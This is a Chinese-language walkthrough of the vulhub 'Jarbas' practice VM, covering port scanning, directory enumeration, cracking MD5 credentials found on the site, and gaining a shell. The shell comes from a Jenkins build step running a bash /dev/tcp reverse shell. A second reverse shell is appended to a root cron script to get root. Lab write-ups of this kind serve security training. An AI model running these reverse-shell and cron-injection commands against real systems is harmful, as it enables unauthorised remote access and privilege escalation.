vulhub-Jarbas(易)

news/2024/11/29 11:52:07/

打靶练习Jarbas

  • 0x00 部署
  • 0x01 信息收集:端口扫描、服务发现
  • 0x02 路径爬取
  • 0x03 反弹shell
  • 0x04 内网信息收集
  • 0x05 crontab定时任务提权
  • 0x06 总结

0x00 部署

靶机:下载地址
宿主机:kali2021版本

0x01 信息收集:端口扫描、服务发现

sudo arp-scan -l #探测存活ip
sudo nmap -sS -T4 -A -p- ip #对可疑ip进行端口的详细扫描
sudo nmap --script=vuln -p ip#对端口可能存在的漏洞进行检测

在这里插入图片描述

端口版本可能存在漏洞
22OpenSSH7.4
80Apache httpd 2.4.6/php 5.4.16http-Trace
3306mysqlMariaDB未认证
8080Jetty9.4.z-SNAPSHOTrobots

在这里插入图片描述
初步判定应该存在路径隐藏。

查看robots.txt文件看是否可以暴漏一些隐藏文件目录:
在这里插入图片描述
没有什么可以利用的。

0x02 路径爬取

对80端口进行进一步的爬取
使用gobuster/dirsearch工具进行路径爬取:
$ dirsearch -u ip地址 -w /usr/share/seclists/Discovery/Web-Cotent/common.txt
$ gobuster dir -r -u ip地址 -x txt,html,php -w /usr/share/seclists/Discovery/Web-Cotent/common.txt

在这里插入图片描述

在这里插入图片描述
对比出来的目录:

访问access.html页面,以安全加密方式,猜测为md5,可以用hash-ident验证一下:
在这里插入图片描述
在这里插入图片描述

解密工具: MD5在线解密

在这里插入图片描述

tiago:5978a63b4654c73c60fa24f836386d87---italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5---marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98---vipsu

使用tiago和trindade对应密码访问:
在这里插入图片描述
使用eder:vipsu账户登录:
在这里插入图片描述
依次检查,在new item页面新建一个任务:
在这里插入图片描述
命名为test1,选择项目类型并确认即创立完成:
在这里插入图片描述
在创建页面找到这里可以执行shell,这就可以利用反弹shell来进行提权操作。

0x03 反弹shell

写入脚本:

/bin/bash -i >& /dev/tcp/攻击机ip/4444 0>&1
bash -i 产生一个可交互的shell
dev/tcp/ip/port 特殊设备文件,实际这个文件并不存在,只是bash用来实现网络请求的一个接口,打开这个文件相当于发出一个socket请求调用并建立一个socket连接,

应用并保存,在kali上对4444端口进行侦听nc -lvp 4444,对写好反弹shell的任务进行立即构建:
在这里插入图片描述
在这里插入图片描述
在kali端收到传过来的shell,对当前账户的权限进行检查。

0x04 内网信息收集

这里可以利用应急响应的对应流程检查,来发现可以利用的漏洞。

查看到当前任务计划,发现有一个root用户的.sh文件
在这里插入图片描述
查看其内容:
在这里插入图片描述

0x05 crontab定时任务提权

该定时任务其含义是每五分钟执行.sh文件删除日志的脚本,并将输出内容放进/dev/null(垃圾桶)中。
利用思路,可以在这个文件内写入反弹shell,打开后执行root权限。

echo “/bin/bash -i>& /dev/tcp/ip/port 0>&1" >> /etc/script/CleanScript.sh

再重新进行侦听,因为是定时任务所以这里侦听到需要五分钟。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功提取

0x06 总结

jarbas靶场很简单,可以用来熟悉打靶场的流程,同时掌握反弹shell的使用。


http://www.ppmy.cn/news/109657.html

相关文章

sqlite3常用指令

SQLite 是一款轻量级的数据库,它的设计目标是嵌入式的,但它也可以在大型系统中使用。SQLite 提供了一系列的命令来帮助用户进行数据库操作。以下是 SQLite 的一些常用指令: 建立数据表 使用 CREATE TABLE 命令来创建一个新的数据表。 CREATE …

MVC 接收不到参数? —— 看我如何给你安排得明明白白

文章结构 问题背景:问题处理总结 问题背景: 现有如下代码: PostMapping(value "/payment/create") ResponseBody public CommonResult create(Payment payment) {}乍眼看去是不是很好,至少没啥问题很自然&#xff0c…

何时加索引,性别字段和逻辑删除字段应不应该加

首先哪些地方加索引(按照sql执行顺序写) 1、from表扫描连接处索引 2、where后条件去走索引 3、group by加索引 4、select查询不用加 5、order by排序加索引 (对于第四点,覆盖索引:查询的字段都被索引覆盖,…

Kotlin笔记(一)常量与变量

文章目录 1、常量与变量定义NULL检查机制?. 判空辅助?: 判空辅助!! 非空断言 类型检测与类型转换is 类型检测as 类型转换 2、基本数据类型数字比较 类型转换 toDouble()位操作符字符数组字符串 String""" 字符串字面值${} 字符串模板 lateinit 延迟初始化by l…

linux条件变量知识点总结

与条件变量相关API 条件变量是线程另一可用的同步机制。条件变量给多个线程提供了一个会合的场所。条件变量与互斥量一起使用时,允许线程以无竞争的方式等待特定的条件发生。 条件本身是由互斥量保护的。线程在改变条件状态前必须首先锁住互斥量,其他线程…

高速缓存(cache)的原理: 了解计算机架构与性能优化

计基之存储器层次结构 Author: Once Day Date: 2023年5月9日 长路漫漫,而今才刚刚启程! 本内容收集整理于《深入理解计算机系统》一书。 参看文档: 捋一捋Cache - 知乎 (zhihu.com)iCache和dCache一致性 - 知乎 (zhihu.com)C…

使用SolidJS+SpringBoot写一个简单的个人博客

首发于Enaium的个人博客 前言 前端我们使用了SolidJS来进行开发,它是一个新出的前端框架,它的特点是使用React Hooks的方式来进行开发,并且它的API和React的API非常相似,所以如果你会React的话,那么你就会SolidJS. 后端我们使用了SpringBoot来进行开发,数据库我们使用了MySQL…

IMX6ULL裸机篇之I2C相关寄存器

一. I2C实验 I2C时钟选择与传输速率 1. IMX6ULL的 I2C频率标准模式 100kbit/S,快速模式为 400Kbit/S 2. 时钟源选择 perclk_clk_rootipg_clk_root66MHz(由之前的时钟实验章节可以知道是 66MHz)。 二. I2C 寄存器配置 I2Cx_IFDR寄存器&…